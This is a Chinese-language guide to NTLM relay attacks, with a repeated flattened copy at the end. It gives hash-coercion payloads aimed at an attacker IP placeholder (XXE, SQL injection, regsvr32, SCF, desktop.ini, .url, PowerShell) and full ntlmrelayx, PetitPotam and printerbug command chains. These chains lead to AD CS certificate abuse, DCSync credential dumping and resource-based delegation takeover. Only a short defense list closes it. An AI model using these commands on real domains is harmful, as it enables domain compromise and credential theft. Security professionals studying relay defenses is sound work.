NTLM中继
字数 1423 2025-08-11 08:36:16

NTLM中继攻击全面指南

1. NTLM认证机制概述

NTLM采用质询/应答模式的身份验证机制,认证过程分为三步:

  1. 协商:确认双方协议版本
  2. 质询:挑战(Chalenge)/响应(Response)认证机制
  3. 验证:验证质询结果

工作组环境认证流程

  1. 客户端缓存服务密码的NTLM Hash,发送Negotiate消息(含明文用户名)
  2. 服务器回复Challenge消息(含16位随机Challenge)
  3. 客户端用NTLM Hash加密Challenge生成Responce,组合为Net-NTLM Hash发送
  4. 服务端用本地NTLM Hash加密Challenge并与收到的Responce比较

域环境认证流程

与工作组主要区别在于验证阶段:

  • 服务端将Net-NTLM Hash发送给域控
  • 域控用用户NTLM Hash加密Challenge并与Responce比较

2. Net-NTLM Hash组成

v1格式

username:hostname:LM responce:NTLM responce:challenge

v2格式(当前主流)

username:domain:challenge:HMAC-MD5:blob

从抓包中获取:

  • Type2包:获取Challenge
  • Type3包:获取username、domain、HMAC-MD5(NTProofStr)、blob

3. NTLM中继攻击基础

攻击前提

  • 域环境中密码存储在域控的NTDS.dit中
  • 目标未对域用户进行登录限制
  • 目标服务未开启SMB签名(域控默认开启)

攻击流程

  1. 通过中间人攻击或漏洞强制认证流程
  2. 获取Net-NTLM Hash
  3. 进行密码破解或重放攻击

4. Net-NTLM Hash窃取技术

1. 文件包含

通过远程文件包含触发认证

2. XXE攻击

<!DOCTYPE root [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=//攻击IP/asd" >]>

3. XSS攻击


4. SQL注入

  • MySQL: load_file('\\\\攻击IP\\asd')
  • MSSQL: exec master.dbo.xp_dirtree '\\攻击IP\asd'

5. Regsvr32

regsvr32 /s /u /i://攻击IP/asd scrobj.dll

6. SCF文件

[Shell]
Command=2
IconFile=\\攻击IP\asd.ico

7. Desktop.ini

[.ShellClassInfo]
IconResource=\\攻击IP\asd

8. 快捷方式文件(.url)

[InternetShortcut]
URL=file://攻击IP/asd

9. PowerShell

Invoke-Item \\攻击IP\asd
Get-Content \\攻击IP\asd
Start-Process \\攻击IP\asd

5. 域环境下中继攻击

1. 基础中继

使用ntlmrelayx.py中继到目标执行命令:

python3 ntlmrelayx.py -t 目标IP -c "命令" --smb2support

2. PrinterBug漏洞利用

python3 printerbug.py 域名/账号:密码@受害机器 受控服务器

3. PetitPotam漏洞利用

python3 PetitPotam.py -d 域名 -u 用户名 -p 密码 受控服务器 受害机器

6. 中继至AD CS证书服务

攻击流程

  1. 利用PetitPotam或printerbug迫使域控发起NTLM认证
  2. 中继到AD CS的Web注册接口
  3. 为域控机器账户申请证书
  4. 利用证书获取域控权限

具体步骤

  1. 定位AD CS服务器:
certutil -CA
  1. 启动中继:
python3 ntlmrelayx.py -t http://ADCS_IP/certsrv/certfnsh.asp --smb2support --adcs --template DomainController
  1. 强制认证:
python3 PetitPotam.py 受控服务器 域控IP
  1. 获取票据:
python3 gettgtpkinit.py -pfx-base64 "证书" -dc-ip 域控IP 域名/域控机器账户$ DC.ccache
  1. DCSync攻击:
export KRB5CCNAME=DC.ccache
python3 secretsdump.py 域控机器名.域名 -k -no-pass -target-ip 域控IP -dc-ip 域控IP

7. 中继至LDAP

RBCD+PetitPotam攻击

  1. 添加机器账户:
python3 addcomputer.py 域名/用户:密码 -computer-name 机器名$ -computer-pass 密码 -dc-ip 域控IP
  1. 启动中继:
python3 ntlmrelayx.py -t ldap://域控IP --debug --delegate-access --escalate-user 机器名$ --smb2support --remove-mic
  1. 强制认证:
python3 PetitPotam.py -d 域名 -u 用户 -p 密码 受控服务器 目标机器
  1. 约束委派攻击:
python3 getST.py 域名/机器名$:密码 -spn cifs/目标机器.域名 -impersonate Administrator -dc-ip 域控IP
  1. 票据传递:
KRB5CCNAME=Administrator.ccache python3 psexec.py -k 目标机器.域名 -target-ip 目标IP -dc-ip 域控IP -no-pass

Exchange+PetitPotam攻击

  1. 启动中继:
python3 ntlmrelayx.py -t ldap://域控IP --remove-mic --escalate-user 用户名 --smb2support
  1. 强制认证:
python3 PetitPotam.py -d 域名 -u 用户 -p 密码 受控服务器 Exchange_IP
  1. DCSync:
python3 secretsdump.py 域名/用户:"密码"@域控IP -just-dc-ntlm

8. 防御建议

  1. 启用SMB签名
  2. 启用LDAP签名和通道绑定
  3. 限制NTLM使用,优先使用Kerberos
  4. 配置防火墙规则限制不必要的协议
  5. 定期更新补丁修复已知漏洞
  6. 监控异常认证请求
  7. 限制域账户权限,遵循最小权限原则

通过以上技术,攻击者可以利用NTLM中继攻击在域环境中实现权限提升和横向移动,防御方需全面加固防护措施。

NTLM中继攻击全面指南 1. NTLM认证机制概述 NTLM采用质询/应答模式的身份验证机制,认证过程分为三步: 协商 :确认双方协议版本 质询 :挑战(Chalenge)/响应(Response)认证机制 验证 :验证质询结果 工作组环境认证流程 客户端缓存服务密码的NTLM Hash,发送Negotiate消息(含明文用户名) 服务器回复Challenge消息(含16位随机Challenge) 客户端用NTLM Hash加密Challenge生成Responce,组合为Net-NTLM Hash发送 服务端用本地NTLM Hash加密Challenge并与收到的Responce比较 域环境认证流程 与工作组主要区别在于验证阶段: 服务端将Net-NTLM Hash发送给域控 域控用用户NTLM Hash加密Challenge并与Responce比较 2. Net-NTLM Hash组成 v1格式 username:hostname:LM responce:NTLM responce:challenge v2格式(当前主流) username:domain:challenge:HMAC-MD5:blob 从抓包中获取: Type2包:获取Challenge Type3包:获取username、domain、HMAC-MD5(NTProofStr)、blob 3. NTLM中继攻击基础 攻击前提 域环境中密码存储在域控的NTDS.dit中 目标未对域用户进行登录限制 目标服务未开启SMB签名(域控默认开启) 攻击流程 通过中间人攻击或漏洞强制认证流程 获取Net-NTLM Hash 进行密码破解或重放攻击 4. Net-NTLM Hash窃取技术 1. 文件包含 通过远程文件包含触发认证 2. XXE攻击 3. XSS攻击 4. SQL注入 MySQL: load_file('\\\\攻击IP\\asd') MSSQL: exec master.dbo.xp_dirtree '\\攻击IP\asd' 5. Regsvr32 6. SCF文件 7. Desktop.ini 8. 快捷方式文件(.url) 9. PowerShell 5. 域环境下中继攻击 1. 基础中继 使用ntlmrelayx.py中继到目标执行命令: 2. PrinterBug漏洞利用 3. PetitPotam漏洞利用 6. 中继至AD CS证书服务 攻击流程 利用PetitPotam或printerbug迫使域控发起NTLM认证 中继到AD CS的Web注册接口 为域控机器账户申请证书 利用证书获取域控权限 具体步骤 定位AD CS服务器: 启动中继: 强制认证: 获取票据: DCSync攻击: 7. 中继至LDAP RBCD+PetitPotam攻击 添加机器账户: 启动中继: 强制认证: 约束委派攻击: 票据传递: Exchange+PetitPotam攻击 启动中继: 强制认证: DCSync: 8. 防御建议 启用SMB签名 启用LDAP签名和通道绑定 限制NTLM使用,优先使用Kerberos 配置防火墙规则限制不必要的协议 定期更新补丁修复已知漏洞 监控异常认证请求 限制域账户权限,遵循最小权限原则 通过以上技术,攻击者可以利用NTLM中继攻击在域环境中实现权限提升和横向移动,防御方需全面加固防护措施。